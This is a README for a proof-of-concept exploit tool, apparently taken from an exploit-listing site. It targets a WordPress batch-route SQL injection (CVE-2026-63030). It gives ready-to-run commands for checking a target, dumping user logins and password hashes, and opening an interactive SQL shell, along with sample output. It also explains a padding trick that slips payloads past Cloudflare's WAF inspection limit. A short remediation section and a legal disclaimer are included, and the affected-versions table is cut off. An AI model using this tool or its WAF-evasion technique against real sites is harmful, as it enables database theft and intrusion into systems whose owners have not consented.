## https://sploitus.com/exploit?id=BB1C4654-0A2B-564B-8D67-8B6B3FBFB980
# wp2shell-cf-bypass
Independent PoC for the WordPress batch route-confusion SQL injection (CVE-2026-63030) with a built-in Cloudflare WAF bypass.
Cloudflare's WAF only inspects roughly the first 128KB of the request body. This tool pads both the outer and inner batch payloads with ~140KB of junk JSON keys, pushing the actual SQL past the inspection window. Full `UNION SELECT` payloads go through uninspected.
## Affected versions
| Version range | Status |
| ------------- | ------ |
| [options]
```
WAF bypass padding is on by default. Pass `--no-waf-bypass` to disable it.
### check
Sends a marker probe to confirm the route-confusion bug. A vulnerable target returns HTTP 207 with three marker codes: `parse_path_failed`, `block_cannot_read`, `rest_batch_not_allowed`.
```
./wp2shell-cf-bypass.py check target.example.com
```
### read
```
./wp2shell-cf-bypass.py read target.example.com # server fingerprint
./wp2shell-cf-bypass.py read target.example.com --preset users # logins and password hashes
./wp2shell-cf-bypass.py read target.example.com --query "SELECT @@version"
```
`--technique auto` (the default) tries UNION first (one request per value) and falls back to blind binary search (~8 requests per character).
### shell
Interactive `SQL>` prompt over the injection. Queries need to return a single scalar value. Use `CONCAT` or `GROUP_CONCAT` for multiple columns.
```
./wp2shell-cf-bypass.py shell target.example.com
```
```
SQL> SELECT @@version
11.4.10-MariaDB-1-log
SQL> SELECT GROUP_CONCAT(user_login SEPARATOR ', ') FROM wp_users
admin, editor, subscriber
```
## Options
| Option | Applies to | Description |
| --- | --- | --- |
| `--proxy URL` | all | HTTP proxy (e.g. Burp) |
| `--timeout N` | all | Request timeout in seconds (default: 30) |
| `--wp-path PATH` | all | WordPress subpath if WP is not at root (e.g. `wordpress`) |
| `--no-waf-bypass` | all | Disable body padding |
| `--pad-size N` | all | Padding size in bytes (default: 143360) |
| `--preset` | read | `fingerprint` (default) or `users` |
| `--query` | read | Scalar SQL expression to extract |
| `--prefix` | read, shell | Table prefix (default: `wp_`) |
| `--technique` | read, shell | `auto` (default), `union`, or `blind` |
## How the WAF bypass works
Cloudflare's managed rules inspect request bodies up to a configurable limit, around 128KB on most plans. The batch API accepts JSON and doesn't care about extra keys. A `"junk"` key filled with random ASCII goes before the `"requests"` key at both batch levels, so the SQL payload ends up around byte 280K in the serialized JSON, well past the inspection cutoff.
Without padding, `UNION SELECT ... FROM wp_users` gets a 403. With padding, the same payload goes through and data comes back in-band.
## Remediation
Update WordPress to 7.0.2 (or 6.9.5 on the 6.9 branch). As an interim measure, block `/wp-json/batch/v1` and `?rest_route=/batch/v1` at the edge, or cap request body size below 128KB for that endpoint.
## Legal
For authorized security testing only. Use this exclusively against systems you own or have written permission to test.
## References
- Searchlight Cyber wp2shell advisory: https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core
- Icex0/wp2shell-poc: https://github.com/Icex0/wp2shell-poc
- Assetnote nowafpls: https://github.com/assetnote/nowafpls
- WordPress 7.0.2 release: https://wordpress.org/news/2026/07/wordpress-7-0-2-release/